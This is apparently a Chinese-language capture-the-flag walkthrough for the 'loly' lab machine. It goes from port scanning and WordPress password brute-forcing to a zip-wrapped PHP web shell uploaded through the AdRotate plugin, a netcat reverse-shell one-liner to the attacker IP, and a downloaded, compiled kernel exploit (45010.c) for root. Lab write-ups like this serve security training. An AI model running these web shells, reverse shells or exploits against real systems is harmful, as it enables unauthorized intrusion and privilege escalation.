前言
- 挑战攻克该靶机30分钟
靶机:loly
靶机,IP地址为192.168.10.11
攻击:kali
,IP地址为192.168.10.6
靶机和攻击机都采用VMware
虚拟机,都采用桥接网卡模式
文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载
https://pan.quark.cn/s/a795145e3869
主机发现
也就是相当于现实环境中去发现确定主机的ip
地址,因为这里是靶机环境,所以跳过了从域名到ip
地址的过程。
使用arp-scan -l
或者netdiscovery -r 192.168.10.1/24
当然也可以使用nmap
等工具进行
arp-scan -l
信息收集
使用nmap扫描目标端口等信息
首先扫描目标的tcp
端口的开放情况
nmap -sT --min-rate=1000 192.168.10.11 -p- -oA nmap-tcp
再扫描udp
端口的开放情况
nmap -sU --min-rate=1000 192.168.10.11 --top-ports 20 -oA nmap-udp
可以看到明确开放的udp
端口没有,所以下面对tcp
端口进行一个筛选,这里因为22
端口并不是明确closed
的,是filtered
的,所以也要包括在内
ports=`grep /tcp nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`
进一步对这些端口进行服务、系统等探测
nmap -sV -O -sC 192.168.10.11 -p $ports --min-rate=1000
再使用nmap
的漏洞检测脚本对这些端口进行探测
nmap --script=vuln 192.168.10.11 -p $ports
枚举出的目录,可能是wordpress
的CMS
网站信息探测
访问80端口的界面,是nginx
安装后的默认界面,页面源代码没有信息泄露
使用whatweb
或者浏览器插件wappalyzer
进行查看相关配置
whatweb http://192.168.10.11 -v
使用gobuster
等目录爆破工具进行测试
gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404 -x php,html,txt,md,zip
访问wordpress
,可以看到,很是杂乱,这个不用说了吧,一般可能都需要绑定域名了
随便点击一个链接,可以发现指向的域名loly.lc
,或者自己去查看页面源代码
绑定域名,采用静态文件hosts
,计算机会优先去查看这个文件中的解析对应。
在linux
系统中,文件在/etc/hosts
,windows
系统,文件在C:\Windows\System32\Drivers\etc\hosts
这里使用的是kali
,所以修改/etc/hosts
文件
再次访问,可以发现,解析成功
wordpress探测
使用whatweb
进一步探测,发现wordpress
的版本信息
whatweb http://192.168.10.11/wordpress -v
那么下一步,使用针对wordpress
的工具wpscan
wpscan --url http://192.168.10.11/wordpress -e u
枚举出用户,进一步进行密码破解
wpscan --url http://192.168.10.11/wordpress -U loly -P /usr/share/wordlists/rockyou.txt
用户名loly
和密码fernando
文件上传
在登录后,经过多方测试,最终在插件AdRotate
中,找到一个文件上传的测试点,并且在寻找的时候,也发现在相关设置中有文件上传后的地址,很清晰了,只是文件上传的种种需要多方测试
首先就是简单的测试:
- 直接上传
php
,不行 - 修改后缀名再上传,不行。
- 后缀名出以
shell.php.jpg
,生成图片马。不行 - 双写
php
以及大小写php
,不行 - 更改
mime
类型,不行 - 以图片的形式上传,不解析为
php
- 无法上传
.htaccess
文件,无法修改解析
根据上面,测试其他的几种,也就是js,html,zip
html
类型,不解析为php
,所以不行js
类型,显示源代码,也不解析,不行- 以
zip
压缩后的文件,可以,并成功解析
只是上传为zip
文件,访问的时候以php
访问。如
info.php.zip
,访问的时候为info.php
这里注意一点,采用linxu
中的zip
压缩工具,不要使用windows
压缩,不一样
echo "<?php phpinfo();?>" > info.php
zip -r -o info.php.zip info.php
我也测试过,把压缩包的数据进行抓包然后截取,但是不行。所以我放弃使用windows
上传这个脚本了
那么编写一个代码,以可以命令执行
echo '<?php system($_GET["loly"]);?>' > shell.php
zip -r -o shell.php.zip shell.php
上传后,访问即可,构造shell.php?loly=ls
,即可发现
构造反弹shell
代码,首先在kali
开启监听,然后再使用下面代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f
#进行url编码
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%20192.168.10.6%209999%20%3E%2Ftmp%2Ff
靶机内信息收集
既然有wordpress
,那么就一定要看看其配置文件wp-config.php
获取用户名wordpress
和密码lolyisabeautifulgirl
查看网络状态
ss -antulp
发现3306
开放,可能就是mysql
,以前面的登录测试,登录之前,先测试安装什么版本的python
dpkg -l | grep python
#加一层shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
数据库中只有一个用户名和密码,与前面枚举出的一样
继续探测信息,首先知道两个密码。fernando
和lolyisabeautifulgirl
查看当前系统用户,发现只有loly
一个
使用find
寻找具有SUID权限的文件,发现sudo
和su
find / -perm -4000 -print 2>/dev/null
sudo -l
测试,需要密码
尝试使用两个密码,测试loly
,是否存在多用的情况
成功了,以lolyisabeautifulgirl
登录
再次使用sudo -l
,没有文件给loly
使用。
收集内核版本等信息
uname -a
uname -r
cat /etc/issue
cat /etc/*release
lsb_release
当然,后面其实还有脚本上传进行检测,不过因为这里搜索到合适的提权脚本,并且可以使用,所以不上传脚本了
提权
使用gcc -v
确定靶机安装了gcc
使用searchsploit
搜索到可利用的漏洞
searchsploit 4.4.0-31 ubuntu Privilege
根据内核版本和系统信息,这些都是可以测试的,先测试第二个45010.c
#把脚本下载到当前目录下
searchsploit -m 45010.c
然后查看脚本
在kali
使用python
开启监听,然后靶机使用wget
下载即可
#kali执行
python3 -m http.server 1234
#靶机执行
wget http://192.168.10.6:1234/45010.c
这里在loly
的主目录,因为他有一个脚本,可能会定期清理/tmp
目录,我也不想再更改脚本,省时间
靶机执行脚本中编译和执行即可
gcc 45010.c -o exp
chmod +x exp
./exp
对应其他的脚本能否提权,自己去试试,一定要动手测试,积累经验
总结
该靶机的考察主要就是从web到内网
- 网站主流CMS的识别
wpscan
的使用,当然爆破也可以使用其他工具,如burp
等,不过这个工具是专门针对wordpress
,所以,建议使用- 文件上传如何绕过检测,这里应该是利用对于压缩包的一个解析漏洞,导致执行了
php
代码 wordpress
的配置文件要清楚- 靶机内的信息收集,内核等信息